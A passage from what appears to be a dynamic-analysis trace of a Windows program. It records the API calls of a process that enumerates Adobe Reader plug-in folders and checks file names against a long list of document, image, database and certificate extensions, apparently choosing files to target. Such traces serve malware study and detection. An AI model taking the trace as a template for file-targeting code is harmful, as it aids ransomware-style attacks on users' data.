returned 5 [0149.391] lstrcmpiW (lpString1=".docm", lpString2="h.CZE") returned -1 [0149.391] lstrlenW (lpString=".docx") returned 5 [0149.391] lstrcmpiW (lpString1=".docx", lpString2="h.CZE") returned -1 [0149.391] lstrlenW (lpString=".dot") returned 4 [0149.391] lstrcmpiW (lpString1=".dot", lpString2=".CZE") returned 1 [0149.391] lstrlenW (lpString=".dotm") returned 5 [0149.391] lstrcmpiW (lpString1=".dotm", lpString2="h.CZE") returned -1 [0149.391] lstrlenW (lpString=".dotx") returned 5 [0149.391] lstrcmpiW (lpString1=".dotx", lpString2="h.CZE") returned -1 [0149.391] lstrlenW (lpString=".dpx") returned 4 [0149.391] lstrcmpiW (lpString1=".dpx", lpString2=".CZE") returned 1 [0149.391] lstrlenW (lpString=".dqy") returned 4 [0149.391] lstrcmpiW (lpString1=".dqy", lpString2=".CZE") returned 1 [0149.391] lstrlenW (lpString=".dsn") returned 4 [0149.391] lstrcmpiW (lpString1=".dsn", lpString2=".CZE") returned 1 [0149.391] lstrlenW (lpString=".dt") returned 3 [0149.391] lstrcmpiW (lpString1=".dt", lpString2="CZE") returned -1 [0149.391] lstrlenW (lpString=".dtd") returned 4 [0149.391] lstrcmpiW (lpString1=".dtd", lpString2=".CZE") returned 1 [0149.391] lstrlenW (lpString=".dwg") returned 4 [0149.391] lstrcmpiW (lpString1=".dwg", lpString2=".CZE") returned 1 [0149.391] lstrlenW (lpString=".dwt") returned 4 [0149.391] lstrcmpiW (lpString1=".dwt", lpString2=".CZE") returned 1 [0149.391] lstrlenW (lpString=".dx") returned 3 [0149.391] lstrcmpiW (lpString1=".dx", lpString2="CZE") returned -1 [0149.391] lstrlenW (lpString=".dxf") returned 4 [0149.392] lstrcmpiW (lpString1=".dxf", lpString2=".CZE") returned 1 [0149.392] lstrlenW (lpString=".edml") returned 5 [0149.392] lstrcmpiW (lpString1=".edml", lpString2="h.CZE") returned -1 [0149.392] lstrlenW (lpString=".efd") returned 4 [0149.392] lstrcmpiW (lpString1=".efd", lpString2=".CZE") returned 1 [0149.392] lstrlenW (lpString=".elf") returned 4 [0149.392] lstrcmpiW (lpString1=".elf", lpString2=".CZE") returned 1 [0149.392] lstrlenW (lpString=".emf") returned 4 [0149.392] lstrcmpiW (lpString1=".emf", lpString2=".CZE") returned 1 [0149.392] lstrlenW (lpString=".emz") returned 4 [0149.392] lstrcmpiW (lpString1=".emz", lpString2=".CZE") returned 1 [0149.392] lstrlenW (lpString=".epf") returned 4 [0149.392] lstrcmpiW (lpString1=".epf", lpString2=".CZE") returned 1 [0149.392] lstrlenW (lpString=".eps") returned 4 [0149.392] lstrcmpiW (lpString1=".eps", lpString2=".CZE") returned 1 [0149.392] lstrlenW (lpString=".epsf") returned 5 [0149.392] lstrcmpiW (lpString1=".epsf", lpString2="h.CZE") returned -1 [0149.392] lstrlenW (lpString=".epsp") returned 5 [0149.392] lstrcmpiW (lpString1=".epsp", lpString2="h.CZE") returned -1 [0149.392] lstrlenW (lpString=".erf") returned 4 [0149.392] lstrcmpiW (lpString1=".erf", lpString2=".CZE") returned 1 [0149.392] lstrlenW (lpString=".exr") returned 4 [0149.392] lstrcmpiW (lpString1=".exr", lpString2=".CZE") returned 1 [0149.392] lstrlenW (lpString=".f4v") returned 4 [0149.392] lstrcmpiW (lpString1=".f4v", lpString2=".CZE") returned 1 [0149.392] lstrlenW (lpString=".fido") returned 5 [0149.392] lstrcmpiW (lpString1=".fido", lpString2="h.CZE") returned -1 [0149.392] lstrlenW (lpString=".flm") returned 4 [0149.392] lstrcmpiW (lpString1=".flm", lpString2=".CZE") returned 1 [0149.392] lstrlenW (lpString=".flv") returned 4 [0149.392] lstrcmpiW (lpString1=".flv", lpString2=".CZE") returned 1 [0149.392] lstrlenW (lpString=".frm") returned 4 [0149.393] lstrcmpiW (lpString1=".frm", lpString2=".CZE") returned 1 [0149.393] lstrlenW (lpString=".fxg") returned 4 [0149.393] lstrcmpiW (lpString1=".fxg", lpString2=".CZE") returned 1 [0149.393] lstrlenW (lpString=".geo") returned 4 [0149.393] lstrcmpiW (lpString1=".geo", lpString2=".CZE") returned 1 [0149.393] lstrlenW (lpString=".gif") returned 4 [0149.393] lstrcmpiW (lpString1=".gif", lpString2=".CZE") returned 1 [0149.393] lstrlenW (lpString=".grs") returned 4 [0149.393] lstrcmpiW (lpString1=".grs", lpString2=".CZE") returned 1 [0149.393] lstrlenW (lpString=".gz") returned 3 [0149.393] lstrcmpiW (lpString1=".gz", lpString2="CZE") returned -1 [0149.393] lstrlenW (lpString=".h") returned 2 [0149.393] lstrcmpiW (lpString1=".h", lpString2="ZE") returned -1 [0149.393] lstrlenW (lpString=".hdr") returned 4 [0149.393] lstrcmpiW (lpString1=".hdr", lpString2=".CZE") returned 1 [0149.393] lstrlenW (lpString=".hpp") returned 4 [0149.393] lstrcmpiW (lpString1=".hpp", lpString2=".CZE") returned 1 [0149.393] lstrlenW (lpString=".hta") returned 4 [0149.393] lstrcmpiW (lpString1=".hta", lpString2=".CZE") returned 1 [0149.393] lstrlenW (lpString=".htc") returned 4 [0149.393] lstrcmpiW (lpString1=".htc", lpString2=".CZE") returned 1 [0149.393] lstrlenW (lpString=".htm") returned 4 [0149.393] lstrcmpiW (lpString1=".htm", lpString2=".CZE") returned 1 [0149.393] lstrlenW (lpString=".html") returned 5 [0149.393] lstrcmpiW (lpString1=".html", lpString2="h.CZE") returned -1 [0149.393] lstrlenW (lpString=".icb") returned 4 [0149.393] lstrcmpiW (lpString1=".icb", lpString2=".CZE") returned 1 [0149.393] lstrlenW (lpString=".ics") returned 4 [0149.393] lstrcmpiW (lpString1=".ics", lpString2=".CZE") returned 1 [0149.393] lstrlenW (lpString=".iff") returned 4 [0149.393] lstrcmpiW (lpString1=".iff", lpString2=".CZE") returned 1 [0149.394] lstrlenW (lpString=".inc") returned 4 [0149.394] lstrcmpiW (lpString1=".inc", lpString2=".CZE") returned 1 [0149.394] lstrlenW (lpString=".indd") returned 5 [0149.394] lstrcmpiW (lpString1=".indd", lpString2="h.CZE") returned -1 [0149.394] lstrlenW (lpString=".ini") returned 4 [0149.394] lstrcmpiW (lpString1=".ini", lpString2=".CZE") returned 1 [0149.394] lstrlenW (lpString=".iqy") returned 4 [0149.394] lstrcmpiW (lpString1=".iqy", lpString2=".CZE") returned 1 [0149.394] lstrlenW (lpString=".j2c") returned 4 [0149.394] lstrcmpiW (lpString1=".j2c", lpString2=".CZE") returned 1 [0149.394] lstrlenW (lpString=".j2k") returned 4 [0149.394] lstrcmpiW (lpString1=".j2k", lpString2=".CZE") returned 1 [0149.394] lstrlenW (lpString=".java") returned 5 [0149.394] lstrcmpiW (lpString1=".java", lpString2="h.CZE") returned -1 [0149.394] lstrlenW (lpString=".jp2") returned 4 [0149.394] lstrcmpiW (lpString1=".jp2", lpString2=".CZE") returned 1 [0149.394] lstrlenW (lpString=".jpc") returned 4 [0149.394] lstrcmpiW (lpString1=".jpc", lpString2=".CZE") returned 1 [0149.394] lstrlenW (lpString=".jpe") returned 4 [0149.394] lstrcmpiW (lpString1=".jpe", lpString2=".CZE") returned 1 [0149.394] lstrlenW (lpString=".jpeg") returned 5 [0149.394] lstrcmpiW (lpString1=".jpeg", lpString2="h.CZE") returned -1 [0149.394] lstrlenW (lpString=".jpf") returned 4 [0149.394] lstrcmpiW (lpString1=".jpf", lpString2=".CZE") returned 1 [0149.394] lstrlenW (lpString=".jpg") returned 4 [0149.394] lstrcmpiW (lpString1=".jpg", lpString2=".CZE") returned 1 [0149.394] lstrlenW (lpString=".jpx") returned 4 [0149.394] lstrcmpiW (lpString1=".jpx", lpString2=".CZE") returned 1 [0149.394] lstrlenW (lpString=".js") returned 3 [0149.394] lstrcmpiW (lpString1=".js", lpString2="CZE") returned -1 [0149.394] lstrlenW (lpString=".jsf") returned 4 [0149.394] lstrcmpiW (lpString1=".jsf", lpString2=".CZE") returned 1 [0149.394] lstrlenW (lpString=".json") returned 5 [0149.395] lstrcmpiW (lpString1=".json", lpString2="h.CZE") returned -1 [0149.395] lstrlenW (lpString=".jsp") returned 4 [0149.395] lstrcmpiW (lpString1=".jsp", lpString2=".CZE") returned 1 [0149.395] lstrlenW (lpString=".kdc") returned 4 [0149.395] lstrcmpiW (lpString1=".kdc", lpString2=".CZE") returned 1 [0149.395] lstrlenW (lpString=".kmz") returned 4 [0149.395] lstrcmpiW (lpString1=".kmz", lpString2=".CZE") returned 1 [0149.395] lstrlenW (lpString=".kwm") returned 4 [0149.395] lstrcmpiW (lpString1=".kwm", lpString2=".CZE") returned 1 [0149.395] lstrlenW (lpString=".lasso") returned 6 [0149.395] lstrcmpiW (lpString1=".lasso", lpString2="sh.CZE") returned -1 [0149.395] lstrlenW (lpString=".lbi") returned 4 [0149.395] lstrcmpiW (lpString1=".lbi", lpString2=".CZE") returned 1 [0149.395] lstrlenW (lpString=".lgf") returned 4 [0149.395] lstrcmpiW (lpString1=".lgf", lpString2=".CZE") returned 1 [0149.395] lstrlenW (lpString=".lgp") returned 4 [0149.395] lstrcmpiW (lpString1=".lgp", lpString2=".CZE") returned 1 [0149.395] lstrlenW (lpString=".log") returned 4 [0149.395] lstrcmpiW (lpString1=".log", lpString2=".CZE") returned 1 [0149.395] lstrlenW (lpString=".m1v") returned 4 [0149.395] lstrcmpiW (lpString1=".m1v", lpString2=".CZE") returned 1 [0149.395] lstrlenW (lpString=".m4a") returned 4 [0149.395] lstrcmpiW (lpString1=".m4a", lpString2=".CZE") returned 1 [0149.395] lstrlenW (lpString=".m4v") returned 4 [0149.395] lstrcmpiW (lpString1=".m4v", lpString2=".CZE") returned 1 [0149.395] lstrlenW (lpString=".max") returned 4 [0149.395] lstrcmpiW (lpString1=".max", lpString2=".CZE") returned 1 [0149.395] lstrlenW (lpString=".md") returned 3 [0149.395] lstrcmpiW (lpString1=".md", lpString2="CZE") returned -1 [0149.395] lstrlenW (lpString=".mda") returned 4 [0149.395] lstrcmpiW (lpString1=".mda", lpString2=".CZE") returned 1 [0149.395] lstrlenW (lpString=".mdb") returned 4 [0149.396] lstrcmpiW (lpString1=".mdb", lpString2=".CZE") returned 1 [0149.396] lstrlenW (lpString=".mde") returned 4 [0149.396] lstrcmpiW (lpString1=".mde", lpString2=".CZE") returned 1 [0149.396] lstrlenW (lpString=".mdf") returned 4 [0149.396] lstrcmpiW (lpString1=".mdf", lpString2=".CZE") returned 1 [0149.396] lstrlenW (lpString=".mdw") returned 4 [0149.396] lstrcmpiW (lpString1=".mdw", lpString2=".CZE") returned 1 [0149.396] lstrlenW (lpString=".mef") returned 4 [0149.396] lstrcmpiW (lpString1=".mef", lpString2=".CZE") returned 1 [0149.396] lstrlenW (lpString=".mft") returned 4 [0149.396] lstrcmpiW (lpString1=".mft", lpString2=".CZE") returned 1 [0149.396] lstrlenW (lpString=".mfw") returned 4 [0149.396] lstrcmpiW (lpString1=".mfw", lpString2=".CZE") returned 1 [0149.396] lstrlenW (lpString=".mht") returned 4 [0149.396] lstrcmpiW (lpString1=".mht", lpString2=".CZE") returned 1 [0149.396] lstrlenW (lpString=".mhtml") returned 6 [0149.396] lstrcmpiW (lpString1=".mhtml", lpString2="sh.CZE") returned -1 [0149.396] lstrlenW (lpString=".mka") returned 4 [0149.396] lstrcmpiW (lpString1=".mka", lpString2=".CZE") returned 1 [0149.396] lstrlenW (lpString=".mkidx") returned 6 [0149.396] lstrcmpiW (lpString1=".mkidx", lpString2="sh.CZE") returned -1 [0149.396] lstrlenW (lpString=".mkv") returned 4 [0149.396] lstrcmpiW (lpString1=".mkv", lpString2=".CZE") returned 1 [0149.396] lstrlenW (lpString=".mos") returned 4 [0149.396] lstrcmpiW (lpString1=".mos", lpString2=".CZE") returned 1 [0149.396] lstrlenW (lpString=".mov") returned 4 [0149.396] lstrcmpiW (lpString1=".mov", lpString2=".CZE") returned 1 [0149.396] lstrlenW (lpString=".mp3") returned 4 [0149.396] lstrcmpiW (lpString1=".mp3", lpString2=".CZE") returned 1 [0149.396] lstrlenW (lpString=".mp4") returned 4 [0149.396] lstrcmpiW (lpString1=".mp4", lpString2=".CZE") returned 1 [0149.396] lstrlenW (lpString=".mpeg") returned 5 [0149.396] lstrcmpiW (lpString1=".mpeg", lpString2="h.CZE") returned -1 [0149.397] lstrlenW (lpString=".mpg") returned 4 [0149.397] lstrcmpiW (lpString1=".mpg", lpString2=".CZE") returned 1 [0149.397] lstrlenW (lpString=".mpv") returned 4 [0149.397] lstrcmpiW (lpString1=".mpv", lpString2=".CZE") returned 1 [0149.397] lstrlenW (lpString=".mrw") returned 4 [0149.397] lstrcmpiW (lpString1=".mrw", lpString2=".CZE") returned 1 [0149.397] lstrlenW (lpString=".msg") returned 4 [0149.397] lstrcmpiW (lpString1=".msg", lpString2=".CZE") returned 1 [0149.397] lstrlenW (lpString=".mxl") returned 4 [0149.397] lstrcmpiW (lpString1=".mxl", lpString2=".CZE") returned 1 [0149.397] lstrlenW (lpString=".myd") returned 4 [0149.397] lstrcmpiW (lpString1=".myd", lpString2=".CZE") returned 1 [0149.397] lstrlenW (lpString=".myi") returned 4 [0149.397] lstrcmpiW (lpString1=".myi", lpString2=".CZE") returned 1 [0149.397] lstrlenW (lpString=".nef") returned 4 [0149.397] lstrcmpiW (lpString1=".nef", lpString2=".CZE") returned 1 [0149.397] lstrlenW (lpString=".nrw") returned 4 [0149.397] lstrcmpiW (lpString1=".nrw", lpString2=".CZE") returned 1 [0149.397] lstrlenW (lpString=".obj") returned 4 [0149.397] lstrcmpiW (lpString1=".obj", lpString2=".CZE") returned 1 [0149.397] lstrlenW (lpString=".odb") returned 4 [0149.397] lstrcmpiW (lpString1=".odb", lpString2=".CZE") returned 1 [0149.397] lstrlenW (lpString=".odc") returned 4 [0149.397] lstrcmpiW (lpString1=".odc", lpString2=".CZE") returned 1 [0149.397] lstrlenW (lpString=".odm") returned 4 [0149.397] lstrcmpiW (lpString1=".odm", lpString2=".CZE") returned 1 [0149.398] lstrlenW (lpString=".odp") returned 4 [0149.398] lstrcmpiW (lpString1=".odp", lpString2=".CZE") returned 1 [0149.398] lstrlenW (lpString=".ods") returned 4 [0149.398] lstrcmpiW (lpString1=".ods", lpString2=".CZE") returned 1 [0149.398] lstrlenW (lpString=".oft") returned 4 [0149.398] lstrcmpiW (lpString1=".oft", lpString2=".CZE") returned 1 [0149.398] lstrlenW (lpString=".one") returned 4 [0149.398] lstrcmpiW (lpString1=".one", lpString2=".CZE") returned 1 [0149.398] lstrlenW (lpString=".onepkg") returned 7 [0149.398] lstrcmpiW (lpString1=".onepkg", lpString2="ash.CZE") returned -1 [0149.398] lstrlenW (lpString=".onetoc2") returned 8 [0149.398] lstrcmpiW (lpString1=".onetoc2", lpString2="lash.CZE") returned -1 [0149.398] lstrlenW (lpString=".opt") returned 4 [0149.398] lstrcmpiW (lpString1=".opt", lpString2=".CZE") returned 1 [0149.398] lstrlenW (lpString=".oqy") returned 4 [0149.398] lstrcmpiW (lpString1=".oqy", lpString2=".CZE") returned 1 [0149.398] lstrlenW (lpString=".orf") returned 4 [0149.398] lstrcmpiW (lpString1=".orf", lpString2=".CZE") returned 1 [0149.398] lstrlenW (lpString=".p12") returned 4 [0149.398] lstrcmpiW (lpString1=".p12", lpString2=".CZE") returned 1 [0149.398] lstrlenW (lpString=".p7b") returned 4 [0149.398] lstrcmpiW (lpString1=".p7b", lpString2=".CZE") returned 1 [0149.398] lstrlenW (lpString=".p7c") returned 4 [0149.398] lstrcmpiW (lpString1=".p7c", lpString2=".CZE") returned 1 [0149.398] lstrlenW (lpString=".pam") returned 4 [0149.398] lstrcmpiW (lpString1=".pam", lpString2=".CZE") returned 1 [0149.398] lstrlenW (lpString=".pbm") returned 4 [0149.399] lstrcmpiW (lpString1=".pbm", lpString2=".CZE") returned 1 [0149.399] lstrlenW (lpString=".pct") returned 4 [0149.399] lstrcmpiW (lpString1=".pct", lpString2=".CZE") returned 1 [0149.399] lstrlenW (lpString=".pcx") returned 4 [0149.399] lstrcmpiW (lpString1=".pcx", lpString2=".CZE") returned 1 [0149.399] lstrlenW (lpString=".pdd") returned 4 [0149.399] lstrcmpiW (lpString1=".pdd", lpString2=".CZE") returned 1 [0149.399] lstrlenW (lpString=".pdf") returned 4 [0149.399] lstrcmpiW (lpString1=".pdf", lpString2=".CZE") returned 1 [0149.399] lstrlenW (lpString=".pdp") returned 4 [0149.399] lstrcmpiW (lpString1=".pdp", lpString2=".CZE") returned 1 [0149.399] lstrlenW (lpString=".pef") returned 4 [0149.399] lstrcmpiW (lpString1=".pef", lpString2=".CZE") returned 1 [0149.399] lstrlenW (lpString=".pem") returned 4 [0149.399] lstrcmpiW (lpString1=".pem", lpString2=".CZE") returned 1 [0149.399] lstrlenW (lpString=".pff") returned 4 [0149.399] lstrcmpiW (lpString1=".pff", lpString2=".CZE") returned 1 [0149.399] lstrlenW (lpString=".pfm") returned 4 [0149.399] lstrcmpiW (lpString1=".pfm", lpString2=".CZE") returned 1 [0149.399] lstrlenW (lpString=".pfx") returned 4 [0149.399] lstrcmpiW (lpString1=".pfx", lpString2=".CZE") returned 1 [0149.399] lstrlenW (lpString=".pgm") returned 4 [0149.399] lstrcmpiW (lpString1=".pgm", lpString2=".CZE") returned 1 [0149.399] lstrlenW (lpString=".php") returned 4 [0149.399] lstrcmpiW (lpString1=".php", lpString2=".CZE") returned 1 [0149.399] lstrlenW (lpString=".php3") returned 5 [0149.399] lstrcmpiW (lpString1=".php3", lpString2="h.CZE") returned -1 [0149.399] lstrlenW (lpString=".php4") returned 5 [0149.399] lstrcmpiW (lpString1=".php4", lpString2="h.CZE") returned -1 [0149.399] lstrlenW (lpString=".php5") returned 5 [0149.400] lstrcmpiW (lpString1=".php5", lpString2="h.CZE") returned -1 [0149.400] lstrlenW (lpString=".phtml") returned 6 [0149.400] lstrcmpiW (lpString1=".phtml", lpString2="sh.CZE") returned -1 [0149.400] lstrlenW (lpString=".pict") returned 5 [0149.400] lstrcmpiW (lpString1=".pict", lpString2="h.CZE") returned -1 [0149.400] lstrlenW (lpString=".pl") returned 3 [0149.400] lstrcmpiW (lpString1=".pl", lpString2="CZE") returned -1 [0149.400] lstrlenW (lpString=".pls") returned 4 [0149.400] lstrcmpiW (lpString1=".pls", lpString2=".CZE") returned 1 [0149.400] lstrlenW (lpString=".pm") returned 3 [0149.400] lstrcmpiW (lpString1=".pm", lpString2="CZE") returned -1 [0149.400] lstrlenW (lpString=".png") returned 4 [0149.400] lstrcmpiW (lpString1=".png", lpString2=".CZE") returned 1 [0149.400] lstrlenW (lpString=".pnm") returned 4 [0149.400] lstrcmpiW (lpString1=".pnm", lpString2=".CZE") returned 1 [0149.400] lstrlenW (lpString=".pot") returned 4 [0149.400] lstrcmpiW (lpString1=".pot", lpString2=".CZE") returned 1 [0149.400] lstrlenW (lpString=".potm") returned 5 [0149.400] lstrcmpiW (lpString1=".potm", lpString2="h.CZE") returned -1 [0149.400] lstrlenW (lpString=".potx") returned 5 [0149.400] lstrcmpiW (lpString1=".potx", lpString2="h.CZE") returned -1 [0149.400] lstrlenW (lpString=".ppa") returned 4 [0149.400] lstrcmpiW (lpString1=".ppa", lpString2=".CZE") returned 1 [0149.400] lstrlenW (lpString=".ppam") returned 5 [0149.400] lstrcmpiW (lpString1=".ppam", lpString2="h.CZE") returned -1 [0149.400] lstrlenW (lpString=".ppm") returned 4 [0149.400] lstrcmpiW (lpString1=".ppm", lpString2=".CZE") returned 1 [0149.401] lstrlenW (lpString=".pps") returned 4 [0149.401] lstrcmpiW (lpString1=".pps", lpString2=".CZE") returned 1 [0149.401] lstrlenW (lpString=".ppsm") returned 5 [0149.401] lstrcmpiW (lpString1=".ppsm", lpString2="h.CZE") returned -1 [0149.401] lstrlenW (lpString=".ppt") returned 4 [0149.401] lstrcmpiW (lpString1=".ppt", lpString2=".CZE") returned 1 [0149.401] lstrlenW (lpString=".pptm") returned 5 [0149.401] lstrcmpiW (lpString1=".pptm", lpString2="h.CZE") returned -1 [0149.401] lstrlenW (lpString=".pptx") returned 5 [0149.401] lstrcmpiW (lpString1=".pptx", lpString2="h.CZE") returned -1 [0149.401] lstrlenW (lpString=".prn") returned 4 [0149.401] lstrcmpiW (lpString1=".prn", lpString2=".CZE") returned 1 [0149.401] lstrlenW (lpString=".ps") returned 3 [0149.401] lstrcmpiW (lpString1=".ps", lpString2="CZE") returned -1 [0149.401] lstrlenW (lpString=".psb") returned 4 [0149.401] lstrcmpiW (lpString1=".psb", lpString2=".CZE") returned 1 [0149.401] lstrlenW (lpString=".psd") returned 4 [0149.401] lstrcmpiW (lpString1=".psd", lpString2=".CZE") returned 1 [0149.401] lstrlenW (lpString=".pst") returned 4 [0149.401] lstrcmpiW (lpString1=".pst", lpString2=".CZE") returned 1 [0149.401] lstrlenW (lpString=".ptx") returned 4 [0149.401] lstrcmpiW (lpString1=".ptx", lpString2=".CZE") returned 1 [0149.401] lstrlenW (lpString=".pub") returned 4 [0149.401] lstrcmpiW (lpString1=".pub", lpString2=".CZE") returned 1 [0149.401] lstrlenW (lpString=".pwm") returned 4 [0149.401] lstrcmpiW (lpString1=".pwm", lpString2=".CZE") returned 1 [0149.401] lstrlenW (lpString=".pxr") returned 4 [0149.401] lstrcmpiW (lpString1=".pxr", lpString2=".CZE") returned 1 [0149.401] lstrlenW (lpString=".py") returned 3 [0149.401] lstrcmpiW (lpString1=".py", lpString2="CZE") returned -1 [0149.401] lstrlenW (lpString=".qt") returned 3 [0149.401] lstrcmpiW (lpString1=".qt", lpString2="CZE") returned -1 [0149.401] lstrlenW (lpString=".r3d") returned 4 [0149.401] lstrcmpiW (lpString1=".r3d", lpString2=".CZE") returned 1 [0149.402] lstrlenW (lpString=".raf") returned 4 [0149.402] lstrcmpiW (lpString1=".raf", lpString2=".CZE") returned 1 [0149.402] lstrlenW (lpString=".rar") returned 4 [0149.402] lstrcmpiW (lpString1=".rar", lpString2=".CZE") returned 1 [0149.402] lstrlenW (lpString=".raw") returned 4 [0149.402] lstrcmpiW (lpString1=".raw", lpString2=".CZE") returned 1 [0149.402] FindClose (in: hFindFile=0x4191700 | out: hFindFile=0x4191700) returned 1 [0149.402] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4170050 | out: hHeap=0x300000) returned 1 [0149.402] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_HRV", cAlternateFileName="")) returned 1 [0149.402] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HRV\\*", lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191700 [0149.412] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.413] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.HRV", cAlternateFileName="")) returned 1 [0149.413] FindClose (in: hFindFile=0x4191700 | out: hFindFile=0x4191700) returned 1 [0149.413] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4170050 | out: hHeap=0x300000) returned 1 [0149.413] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_HUN", cAlternateFileName="")) returned 1 [0149.413] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_HUN\\*", lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191700 [0149.417] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.417] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.HUN", cAlternateFileName="")) returned 1 [0149.418] FindClose (in: hFindFile=0x4191700 | out: hFindFile=0x4191700) returned 1 [0149.418] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4170050 | out: hHeap=0x300000) returned 1 [0149.418] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_POL", cAlternateFileName="")) returned 1 [0149.418] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_POL\\*", lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191700 [0149.429] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d82ddc0, 